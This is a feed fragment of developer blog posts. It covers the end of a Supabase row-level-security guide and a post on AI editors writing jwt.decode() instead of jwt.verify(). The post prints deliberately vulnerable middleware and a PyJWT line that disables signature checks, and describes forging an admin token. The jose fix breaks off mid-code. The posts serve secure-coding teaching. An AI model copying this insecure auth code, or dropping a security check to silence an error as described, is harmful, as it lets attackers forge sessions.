  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;update&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="k"&gt;check&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"notes_delete_own"&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few details that matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;using&lt;/code&gt; decides which existing rows a user can see or change. &lt;code&gt;with check&lt;/code&gt; decides what a new or updated row is allowed to look like. Update needs both, or a user can move their row to someone else's &lt;code&gt;user_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;to authenticated&lt;/code&gt; keeps signed-out visitors out entirely. Supabase's docs also point out that &lt;code&gt;auth.uid()&lt;/code&gt; is null for anonymous requests, so the comparison quietly fails for them rather than erroring.&lt;/li&gt;
&lt;li&gt;Wrapping &lt;code&gt;auth.uid()&lt;/code&gt; in &lt;code&gt;(select ...)&lt;/code&gt; lets Postgres evaluate it once per statement instead of once per row. Supabase recommends it for performance.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the client, insert without sending &lt;code&gt;user_id&lt;/code&gt; at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The default fills user_id from the caller's JWT&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabase&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;notes&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If something genuinely needs elevated access, like an admin action or a webhook, do it in a server route or Edge Function that verifies the caller first, and read the service_role key from a server-only env var with no &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt; or &lt;code&gt;VITE_&lt;/code&gt; prefix.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Check Your Own App
&lt;/h2&gt;

&lt;p&gt;Use the same key an attacker would use: your anon key, with no user session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://YOUR_PROJECT_REF.supabase.co/rest/v1/notes?select=*"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"apikey: &lt;/span&gt;&lt;span class="nv"&gt;$SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that returns rows, anyone on the internet can get the same rows. With the policies above, it returns &lt;code&gt;[]&lt;/code&gt;. Repeat it for every table that holds user data, and grep your migrations for &lt;code&gt;using (true)&lt;/code&gt;, &lt;code&gt;with check (true)&lt;/code&gt; and &lt;code&gt;disable row level security&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Is it safe to expose the Supabase anon key in my frontend?&lt;/strong&gt;&lt;br&gt;
A: The anon key is designed to be public, but it is only safe when every table it can reach has RLS enabled with policies that scope rows to the caller. Without that, the anon key is a read and write key for your data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: How do I fix "new row violates row-level security policy" without disabling RLS?&lt;/strong&gt;&lt;br&gt;
A: Make sure the inserted row's &lt;code&gt;user_id&lt;/code&gt; equals &lt;code&gt;auth.uid()&lt;/code&gt;, ideally by setting the column default to &lt;code&gt;auth.uid()&lt;/code&gt;, and add an insert policy with &lt;code&gt;with check ((select auth.uid()) = user_id)&lt;/code&gt; for the &lt;code&gt;authenticated&lt;/code&gt; role.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: When is USING (true) acceptable?&lt;/strong&gt;&lt;br&gt;
A: Only for SELECT on tables that are genuinely public, like a list of countries or published blog posts. Never for INSERT, UPDATE or DELETE, and never on a table with user data.&lt;/p&gt;

&lt;p&gt;I've been running &lt;a href="https://tinyurl.com/2bkvyyfs" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; for this. Its repo checks flag RLS being disabled (&lt;code&gt;supabase-rls-disabled&lt;/code&gt;), always-true policies (&lt;code&gt;supabase-rls-passthrough-policy&lt;/code&gt;) and a service_role key in a &lt;code&gt;NEXT_PUBLIC_&lt;/code&gt; or &lt;code&gt;VITE_&lt;/code&gt; variable, and its read-only live check runs the same anon-key test against your deployed app to find tables anyone can read. Those checks are on the Cloud plan; the free tier shows the counts. Even without a scanner, the curl test above and a grep for &lt;code&gt;using (true)&lt;/code&gt; catch most of this. The important thing is catching it before your users' data is the thing that proves it.&lt;/p&gt;

</description>
      <category>security</category>
      <category>supabase</category>
      <category>ai</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Why Cursor Decodes JWTs Instead of Verifying Them (CWE-347)</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Sat, 10 Oct 2026 13:55:21 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-decodes-jwts-instead-of-verifying-them-cwe-347-fnk</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-decodes-jwts-instead-of-verifying-them-cwe-347-fnk</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;AI editors regularly write auth middleware that calls &lt;code&gt;jwt.decode()&lt;/code&gt; where it needs &lt;code&gt;jwt.verify()&lt;/code&gt;, so the token's signature is never checked.&lt;/li&gt;
&lt;li&gt;Anyone can then edit the payload, set &lt;code&gt;"role": "admin"&lt;/code&gt;, and walk in. The forged token never has to be signed.&lt;/li&gt;
&lt;li&gt;The fix: verify every token with a pinned algorithm list, and use &lt;code&gt;jose&lt;/code&gt; where &lt;code&gt;jsonwebtoken&lt;/code&gt; will not run.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I asked Cursor to add route protection to a small Next.js app last week. The first version imported &lt;code&gt;jsonwebtoken&lt;/code&gt; into &lt;code&gt;middleware.ts&lt;/code&gt;, and the build failed because the Edge runtime has no Node &lt;code&gt;crypto&lt;/code&gt; module.&lt;/p&gt;

&lt;p&gt;So I told Cursor to fix the build error. It did. It swapped &lt;code&gt;jwt.verify()&lt;/code&gt; for &lt;code&gt;jwt.decode()&lt;/code&gt;, the build went green, the protected pages still redirected logged-out users, and every manual test passed.&lt;/p&gt;

&lt;p&gt;The app was now accepting any token anyone could type.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;jwt.decode()&lt;/code&gt; reads a token's payload without checking its signature, so any middleware that makes an auth decision from it trusts data the client wrote. This is CWE-347, Improper Verification of Cryptographic Signature.&lt;/p&gt;

&lt;p&gt;Here is the middleware Cursor produced after "fixing" the build:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// middleware.ts  (CWE-347: signature never verified)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;decode&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;jsonwebtoken&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;session&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exp&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nextUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It checks expiry. It checks the role. It looks like an auth layer. But a JWT is just three base64url segments, and the first two are readable and editable by anyone. Take a real session token, decode the middle segment, change &lt;code&gt;"role": "user"&lt;/code&gt; to &lt;code&gt;"role": "admin"&lt;/code&gt;, push the expiry out a year, re-encode it, and paste it back into the cookie. The signature segment no longer matches. Nothing checks.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;jsonwebtoken&lt;/code&gt; README is blunt about this. It says &lt;code&gt;decode&lt;/code&gt; returns the payload "without verifying if the signature is valid" and that you should not use it for untrusted messages. Every cookie is an untrusted message.&lt;/p&gt;

&lt;p&gt;The Python version shows up too, usually after someone hits a &lt;code&gt;DecodeError&lt;/code&gt; and asks the editor to make it go away:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# CWE-347: signature verification switched off
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;verify_signature&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PyJWT documents that option for reading claims you are not going to trust. It even warns that without the signature, the integrity of the claims "cannot be trusted." The editor reaches for it because it makes the exception disappear.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors optimize for making the error you showed them go away, and &lt;code&gt;decode()&lt;/code&gt; is the shortest path from "this throws" to "this runs." It has the same import, nearly the same name, and returns the same object. From the editor's point of view the swap is a one-word fix.&lt;/p&gt;

&lt;p&gt;Three things push it there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The runtime constraint is real.&lt;/strong&gt; &lt;code&gt;jsonwebtoken&lt;/code&gt; depends on Node's &lt;code&gt;crypto&lt;/code&gt;, so it fails to bundle for the Edge runtime that Next.js middleware has historically used. The correct answer is a different library. The easy answer is a different function in the same library.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nothing in your tests can tell them apart.&lt;/strong&gt; Every test you would naturally run uses a legitimately signed token, and &lt;code&gt;decode()&lt;/code&gt; and &lt;code&gt;verify()&lt;/code&gt; return the identical payload for a legitimate token. They only diverge for a forged one. Security controls are invisible on success, and nobody writes the forged-token test while they are trying to get the build green.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The training data is full of &lt;code&gt;decode()&lt;/code&gt;.&lt;/strong&gt; Debug snippets, "read the user ID on the client" examples, and tutorials that peek at a token's claims all use &lt;code&gt;decode()&lt;/code&gt; correctly, for display. The editor learned the call without the context that made it safe.&lt;/p&gt;

&lt;p&gt;There is also an older version of this bug worth knowing, because editors still pin old versions. In &lt;code&gt;jsonwebtoken&lt;/code&gt; 8.5.1 and below, calling &lt;code&gt;verify()&lt;/code&gt; with no &lt;code&gt;algorithms&lt;/code&gt; option and a falsy key (an unset env var, for example) could fall back to the &lt;code&gt;none&lt;/code&gt; algorithm and accept unsigned tokens. That is CVE-2022-23540, fixed in 9.0.0. A separate advisory in the same range, CVE-2022-23541, covered RS256 tokens being verified as HS256 when one key-lookup function served both key types. If your editor writes &lt;code&gt;"jsonwebtoken": "^8.5.1"&lt;/code&gt; into &lt;code&gt;package.json&lt;/code&gt;, you get both.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Verify the signature on every request that makes an auth decision, pin the algorithm you actually use, and fail closed on any error. Decoding is only for display, never for access control.&lt;/p&gt;

&lt;p&gt;For Next.js middleware on the Edge runtime, use &lt;code&gt;jose&lt;/code&gt;, which runs on Web Crypto:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// middleware.ts&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;jwtVerify&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;jose&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;JWT_SECRET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;JWT_SECRET is not set&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;session&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;jwtVerify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;issuer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://app.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;audience&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
